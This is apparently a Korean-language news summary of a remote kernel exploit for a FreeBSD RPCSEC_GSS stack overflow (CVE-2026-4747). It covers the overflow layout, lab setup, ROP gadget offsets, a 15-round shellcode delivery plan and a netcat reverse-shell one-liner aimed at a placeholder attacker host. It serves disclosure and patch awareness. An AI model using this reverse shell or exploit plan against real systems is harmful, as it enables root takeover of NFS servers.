FreeBSD 원격 커널 RCE(CVE-2026-4747)로 root 쉘 획득
4 hours ago
1
- FreeBSD의 kgssapi.ko 모듈에서 RPCSEC_GSS 인증 처리 중 스택 버퍼 오버플로가 발생해 원격 코드 실행 가능
-
svc_rpc_gss_validate() 함수가 경계 검사 없이 자격 증명 데이터를 복사하면서 반환 주소까지 덮어씀
- 공격자는 유효한 Kerberos 티켓을 이용해 NFS 서버의 RPCSEC_GSS 경로를 통해 커널 ROP 체인을 주입
- 15단계 오버플로를 통해 커널 BSS 영역에 432바이트 셸코드 기록 후 실행, root 권한의 reverse shell 생성
- FreeBSD 13.5~15.0 일부 버전이 영향받으며, 패치에서는 oa_length 검증 로직이 추가됨
CVE-2026-4747 — FreeBSD kgssapi.ko RPCSEC_GSS 스택 버퍼 오버플로
- FreeBSD의 kgssapi.ko 모듈에서 RPCSEC_GSS 인증 처리 중 발생하는 스택 버퍼 오버플로 취약점
-
svc_rpc_gss_validate() 함수가 RPC 헤더를 128바이트 스택 버퍼에 재구성할 때 oa_length에 대한 경계 검사 없이 자격 증명 데이터를 복사함
- 32바이트 고정 헤더 이후 남은 96바이트를 초과하는 자격 증명은 로컬 변수와 저장된 레지스터, 반환 주소까지 덮어씀
- FreeBSD 13.5(<p11), 14.3(<p10), 14.4(<p1), 15.0(<p5) 버전이 영향받음
- 패치에서는 복사 전 oa_length가 버퍼 크기를 초과하는지 검사하는 조건문이 추가됨
오버플로 구조와 영향
- 함수 프롤로그 분석 결과 rpchdr 배열은 [rbp-0xc0]에 위치하며, 복사 시작점은 [rbp-0xa0]
- 96바이트 이후부터 저장된 RBX, R12~R15, RBP, 반환 주소 순으로 덮어씀
- 실제 공격에서는 GSS 헤더와 16바이트 컨텍스트 핸들로 인해 반환 주소가 자격 증명 본문 200번째 바이트에 위치
- 취약 코드는 NFS 서버의 RPCSEC_GSS 인증 경로에서만 도달 가능
- 공격자는 유효한 Kerberos 티켓을 가진 사용자여야 하며, RPCSEC_GSS 인증(DATA 프로시저) 단계에서 오버플로를 유발함
공격 환경 구성
-
대상 VM: FreeBSD 14.4-RELEASE amd64, NFS 서버 활성화, kgssapi.ko 로드, MIT Kerberos KDC 구동
-
공격자 호스트: Linux, Python3 gssapi 모듈 및 MIT Kerberos 클라이언트 설치, NFS(2049/TCP) 및 KDC(88/TCP) 접근 가능
- QEMU, VMware, VirtualBox, bhyve 등 다양한 하이퍼바이저 환경에서 설정 가능
- Kerberos 설정 시 krb5.conf의 rdns=false, dns_canonicalize_hostname=false 설정이 필수
- VM과 공격자 간 호스트명(test) 및 서비스 프린시펄(nfs/test@TEST.LOCAL)이 일치해야 함
원격 커널 코드 실행 (RCE) 익스플로잇 구조
- 공격은 15라운드의 다단계 오버플로로 구성됨
- 각 라운드마다 새로운 Kerberos GSS 컨텍스트 생성
- 초과 크기의 RPCSEC_GSS DATA 패킷 전송
- 반환 주소를 ROP 가젯으로 덮어써 커널 메모리에 데이터 쓰기 또는 셸코드 실행
-
kthread_exit() 호출로 NFS 스레드를 정상 종료
- 각 라운드는 약 200바이트의 ROP 체인을 사용하며, 총 432바이트 셸코드를 15회에 걸쳐 전송
- FreeBSD는 CPU당 8개의 NFS 스레드를 생성하므로, 최소 2 CPU(16 스레드) 필요
ROP 체인 구성
- 주요 ROP 가젯:
-
pop rdi; ret (K+0x1adcda)
-
pop rsi; ret (K+0x1cdf98)
-
pop rdx; ret (K+0x5fa429)
-
pop rax; ret (K+0x400cb4)
-
mov [rdi], rax; ret (0xffffffff80e3457c) — 임의 커널 메모리 8바이트 쓰기
-
Round 1: pmap_change_prot() 호출로 커널 BSS 영역을 RWX로 변경
-
Rounds 2–14: mov [rdi], rax 가젯을 이용해 BSS에 셸코드를 32바이트씩 기록
-
Round 15: 마지막 16바이트 기록 후 셸코드 진입점으로 점프
셸코드 동작
- 커널 모드(CPL 0)에서 실행되며 root 권한의 reverse shell 프로세스 생성
- NFS 커널 스레드에서 직접 execve() 호출이 불가능하므로 2단계 구조 사용
-
Entry 함수: kproc_create()로 새 커널 프로세스 생성 후 종료
-
Worker 함수: /bin/sh -c "mkfifo /tmp/f;sh</tmp/f|nc ATTACKER 4444>/tmp/f" 실행
-
DR7 레지스터 초기화로 디버그 예외 방지
-
P_KPROC 플래그를 해제해 fork_exit()가 kthread_exit() 대신 userret 경로로 진행
- 결과적으로 /bin/sh가 uid 0(root) 권한으로 사용자 모드에서 실행됨
주요 문제 해결 과정
-
레지스터 오프셋 불일치: 실제 RIP 오프셋이 200바이트임을 De Bruijn 패턴으로 확인
-
MIT–Heimdal GSS 비호환: 호스트명 정규화 문제를 krb5.conf 설정으로 해결
-
디버그 레지스터 상속: DR7 초기화로 trap 1 예외 방지
-
400바이트 제한: pop rdi + pop rax + mov [rdi], rax 조합으로 8바이트 단위 안정적 전송
-
NFS 스레드 소모: 각 라운드마다 스레드 1개 종료 → 최소 2 CPU 필요
최종 익스플로잇 흐름 요약
- 공격자는 Kerberos 티켓을 획득 후 15개의 RPCSEC_GSS 오버플로 패킷을 순차 전송
- 1라운드: BSS RWX 설정
- 2–14라운드: 셸코드 416바이트 기록
- 15라운드: 마지막 16바이트 기록 및 셸코드 실행
- 셸코드가 kproc_create()로 새 프로세스를 생성하고 /bin/sh 실행
- 공격자 측 nc 세션으로 root 쉘 획득
- 전체 과정 약 45초 소요, 총 15개의 RPC 패킷으로 완성됨
-
Homepage
-
개발자
- FreeBSD 원격 커널 RCE(CVE-2026-4747)로 root 쉘 획득